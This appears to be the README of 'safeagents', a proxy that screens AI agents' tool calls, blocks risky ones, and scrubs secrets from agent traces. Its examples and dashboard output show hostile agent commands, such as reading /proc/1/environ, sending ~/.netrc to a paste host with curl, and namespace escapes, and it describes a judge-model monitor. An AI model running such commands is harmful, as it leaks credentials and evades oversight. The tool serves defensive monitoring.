huggingface/safeagents

A lightweight local proxy between your agent and its model server. It checks every tool call the model makes before the harness sees it, and swaps the calls it blocks for a text notice, so the harness runs nothing. It works with any harness that lets you set a base URL (Claude Code, Pi, Hermes, OpenCode, ...), over OpenAI Chat Completions or Anthropic Messages, streaming or not.

Quickstart

On macOS, Linux or WSL:

curl -LsSf https://raw.githubusercontent.com/huggingface/safeagents/main/scripts/install.sh | sh

On Windows (PowerShell):

irm https://raw.githubusercontent.com/huggingface/safeagents/main/scripts/install.ps1 | iex

The script installs uv if it's missing, installs safeagents as a uv tool and puts it on your PATH. Open a new terminal afterwards. To install a specific tag or commit, set SAFEAGENTS_VERSION first. Running the script again updates safeagents.

Start a proxy in the background, then point your agent at it:

$ safeagents start https://api.anthropic.com --log-only
1  http://127.0.0.1:8787 -> https://api.anthropic.com  (log: ~/.safeagents/run/1.log)

$ ANTHROPIC_BASE_URL=http://127.0.0.1:8787 claude

Manage the running proxies:

$ safeagents ls
1   pid 82837   http://127.0.0.1:8787 -> https://api.anthropic.com  started 2026-10-29 22:26:58  --log-only
$ safeagents stop 1
stopped 1  http://127.0.0.1:8787 -> https://api.anthropic.com

--log-only only reports what it would block, which is a good way to start. Drop it to block for real. All commands and options are in docs/commands.md, and setup guides for 13 coding agents in docs/.

How it works

Each tool call goes through three stages:

1. Request-only checks. A call is blocked if it uses a tool the request never declared, or if its arguments contain a host (URL or bare IP) that appears nowhere in the conversation. The model's own earlier turns don't count.
2. atif-scan checks. The conversation becomes an ATIF trace, so atif-scan's detectors run on the pending call: reading /proc/1/environ, curl --noproxy, a Kubernetes service-account token, unshare/nsenter, ... Findings at or above --block-severity (default high) are blocked, milder ones make the call suspicious.
3. Decision model (optional). Suspicious calls go to a judge model, which answers allow or block. Without a judge, they are only logged.

The judge only sees what the user wrote, the tool call and the findings, never the agent's reasoning or tool results, since an agent that wants a call to run would argue its case there. It can add blocks but never lift one, and clean calls never reach it.

Streaming adds no latency: each tool call is held until its arguments are complete (harnesses only run complete calls), then released byte for byte or replaced. Text is forwarded as it arrives. atif-scan costs about 10 to 20 ms per call on an M-series Mac.

Plugins

--plugin MODULE:FACTORY (or path/to/file.py:FACTORY) adds your own atif-scan checks, with the same convention as atif-scan's --plugin: FACTORY() returns a list of detectors, rules and allowances. Detectors and rules at or above --block-severity block, like the built-in ones. An allowance excuses the findings of the checks it covers, for a task that legitimately does what a check flags. --allow-host adds hosts calls may reach.

# my_pack.py
from atif_scan import Allowance, CheckSpec, RegexDetector, Severity
from atif_scan.data.model import Channel


def checks():
    return [
        # Block: fetching the task's published answer.
        RegexDetector(
            CheckSpec("my_pack.answer_source", Severity.HIGH, title="Task's published answer sought"),
            r"(?<![\w-])task\.toml\b",
            frozenset({Channel.COMMAND, Channel.ARGUMENTS}),
        ),
        # Allow: this task asks the agent to look its question up on the web.
        Allowance(
            CheckSpec("expected.my_pack.web_research", title="The task is web research"),
            frozenset({"lookup.instruction_phrase_search"}),
        ),
    ]

PYTHONPATH=. safeagents start http://localhost:8000 --plugin my_pack:checks --allow-host api.example.com

From Python, pass them to the scanner: Config(scanner=Scanner(load_plugin("my_pack:checks"))).

Publishing trajectories

safeagents scrub finds what you shouldn't share in agent trajectories (ATIF traces, session logs, any JSON, JSON lines or text): credentials, using atif-scan's credential detection (API keys, tokens, auth headers, private keys, secret-named values, URL passwords), the values of your own secret environment variables, emails, home directories and public IP addresses. A credential found once is masked wherever else it appears, even printed bare.

$ safeagents scrub runs/ --redact ProjectNebula --out redacted/
runs/trace.json  steps[0].message  email  Fix the tests. Contact me at <email>
runs/trace.json  steps[1].observation.results[0].content  credential, home directory  OPENAI_API_KEY=*** HOME=/Users/<user>
runs/session.jsonl  line 2: content  listed value  ok, ***
3 strings to redact in 2 files

To review what will be removed, add --show: each distinct value once, credentials first, with a count and where it was first seen (--show-all lists every occurrence, --reveal prints values in full):

$ safeagents scrub ~/.claude/projects/my-project/ --show
7 distinct values, redacted 50 times in 3 files
     3× credential         sk-p…(32 chars) → ***  in 2 files
        session.jsonl line 41: out: OPENAI_API_KEY=[sk-p…(32 chars) → ***]
    42× home directory     a…(5 chars) → <user>  in 2 files
        session.jsonl line 1: cwd: /Users/[a…(5 chars) → <user>]/Work/harness-lens

safeagents publish does the same, checks the redacted copies again, and uploads only those to a Hugging Face dataset (private unless you pass --public), with your hf auth login token:

$ safeagents publish runs/ --repo me/agent-traces

JSON stays valid JSON (keys are redacted too), and files with nothing to redact are uploaded byte for byte. Redaction is best-effort: read the report before publishing. From Python: Scrubber().scrub(trace) returns the redacted trace and the findings.

Benchmark

safeagents-judge-bench scores decision models on 562 real agent tool calls that the scanner flags, each labelled allow or block with a kind of misuse (reward hacking, harness introspection, credential misuse, ...). Use its leaderboard to pick a --judge-model.

Watching the calls

Run in the foreground (safeagents URL) and the terminal shows a live histogram of verdicts and the latest calls:

╔═  SAFEAGENTS  ═══════════════════════════════════════════════════════════════════════╗
║ REQUESTS 000015   CALLS 000015                                                       ║
║                                                                                      ║
║ PASS       8  53% ███████████████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ║
║ WARN       3  20% █████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ║
║ FLAG       0   0% ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ║
║ BLOCK      4  27% ██████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ║
╚══════════════════════════════════════  127.0.0.1:8787 -> https://api.anthropic.com  ═╝
╔═  CALLS  ════════════════════════════════════════════════════════════════════════════╗
║ 17:53:21  WARN   Bash        unshare -Urm sh -c 'mount -t tm…  safeagents.namespace… ║
║ 17:53:21  BLOCK  Bash        curl --noproxy '*' -d @~/.netrc…  host `paste.example.… ║
║ 17:53:21  BLOCK  shell_exec  id && uname -a                    undeclared tool       ║
║ 17:53:21  PASS   WebFetch    https://docs.example.org/parser…                        ║
║ 17:53:21  PASS   Bash        ruff check src && pytest -q                             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

WARN calls ran but raised a finding; FLAG ones would have been blocked without --log-only. A background proxy writes the same calls to its log, one line each.

Blocked, flagged and suspicious calls are also kept in ~/.safeagents/calls.jsonl (readable by you only, since arguments can hold secrets):

$ safeagents inspect 3
call #3, 2026-10-29 13:52:56
verdict   suspicious
tool      Bash
model     fake-model
task      The parser tests in this repo fail. Fix them and keep ruff happy.
finding   side_channel.harness_secret_read (medium): Another process's environment read
arguments
{
  "command": "cat /proc/1/environ | tr '\\0' '\\n'"
}

Development

From a clone of this repository:

uv sync
uv run pytest

To see it react without a real agent, scripts/simulate.py runs fake sessions that mix ordinary calls with the misuse from the Cohere report (nothing is executed):

uv run safeagents http://127.0.0.1:18081   # terminal 1
uv run python scripts/simulate.py          # terminal 2, see --agents and --delay

License

Apache 2.0, see LICENSE.